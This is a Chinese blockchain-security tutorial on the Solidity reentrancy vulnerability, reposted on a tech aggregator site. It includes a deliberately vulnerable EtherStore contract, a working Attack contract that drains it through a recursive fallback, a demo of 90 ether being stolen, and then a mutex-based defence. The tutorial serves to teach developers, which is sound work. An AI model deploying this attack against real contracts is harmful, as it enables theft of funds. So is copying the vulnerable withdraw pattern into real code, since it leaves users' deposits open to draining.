IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 区块链 -> 零时科技|solidity智能合约基础漏洞——重入漏洞 -> 正文阅读

[区块链]零时科技|solidity智能合约基础漏洞——重入漏洞

?

?0x01 重入本质

调用外部合约或将Ether发送到地址的操作需要合约提交外部调用,这些外部调用可能被攻击者劫持,迫使合约执行进一步的代码导致重新进入逻辑。

0x02 前置知识

我们需要先知道以下几种函数的区别

  • <address>.transfer():发送失败则回滚交易状态,只传递 2300 Gas 供调用,防止重入。
  • <address>.send():发送失败则返回 false,只传递 2300 Gas 供调用,防止重入。
  • <address>.call():发送失败返回 false,会传递所有可用 Gas 给予外部合约 fallback() 调用;可通过 { value: money } 限制 Gas,不能有效防止重入。

payable 标识符

  • 在函数上添加 payable 标识,即可接受 Ether,并将其存储在当前合约中。

0x03 漏洞复现

以当前最新版 Solidity 0.8 为例:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent,) = msg.sender.call{value: bal}(""); // Vulnerability of re-entrancy
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

EtherStore 合约在转账函数 withdraw() 中使用了<address>.call{}() 函数,这导致黑客可利用 fallback() 函数递归调用 withdraw() 函数,从而把 EtherStore 合约上所有的钱都转走。我们接着上述合约继续编写攻击代码:

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw(); // go to fallback
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

攻击代码首先创建一个构造函数用于接收漏洞代码的合约地址,然后编写攻击函数:存钱 deposit() 后调用能重入的函数 withdraw(),然后编写 fallback() 函数递归调用重入函数。

我们部署第一份合约,将 90 个 Ether 存入合约地址:

?

?

接着,我们换账号部署第二份合约。部署时,需要传入第一份合约的地址。然后将 1 Ether 存入该合约,进行攻击:

接下来查询攻击合约的余额:

?

点击 getBalance,查询到该合约有 91000000000000000000 wei,刚好是原始合约的 90 ether 加上我们存入的 1 ether,攻击至此完成。

0x04 安全建议

最简单防止重入的办法是不用<address>.call() 函数,选择更加安全的函数,如:transfer() 和 send()。

如果一定要用 call() 函数,可选择加锁来防止重入:

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _; // re-entrancy
        locked = false;
    }
}

如果还像之前那样编写攻击代码,当从 callback() 函数中第二次调用上述函数时,require 的检查不会通过。这样就防止了重入。

0x05 总结

区块链领域的安全问题不容忽视,这就要求开发者必须时刻小心谨慎,养成防御性编程思维。尤其是调用外部合约的函数,一般全都应视为不可信,将各种操作(更新状态变量等)均放在重入函数之前。

在此呼吁开发者们,重视并养成良好的开发习惯。对于外部合约的调用,应时刻保持谨慎的态度。

  区块链 最新文章
盘点具备盈利潜力的几大加密板块,以及潜在
阅读笔记|让区块空间成为商品,打造Web3云
区块链1.0-比特币的数据结构
Team Finance被黑分析|黑客自建Token“瞒天
区块链≠绿色?波卡或成 Web3“生态环保”标
期货从入门到高深之手动交易系列D1课
以太坊基础---区块验证
进入以太坊合并的五个数字
经典同态加密算法Paillier解读 - 原理、实现
IPFS/Filecoin学习知识科普(四)
上一篇文章      下一篇文章      查看所有文章
加:2022-02-28 15:35:48  更:2022-02-28 15:36:02 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/25 22:42:59-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码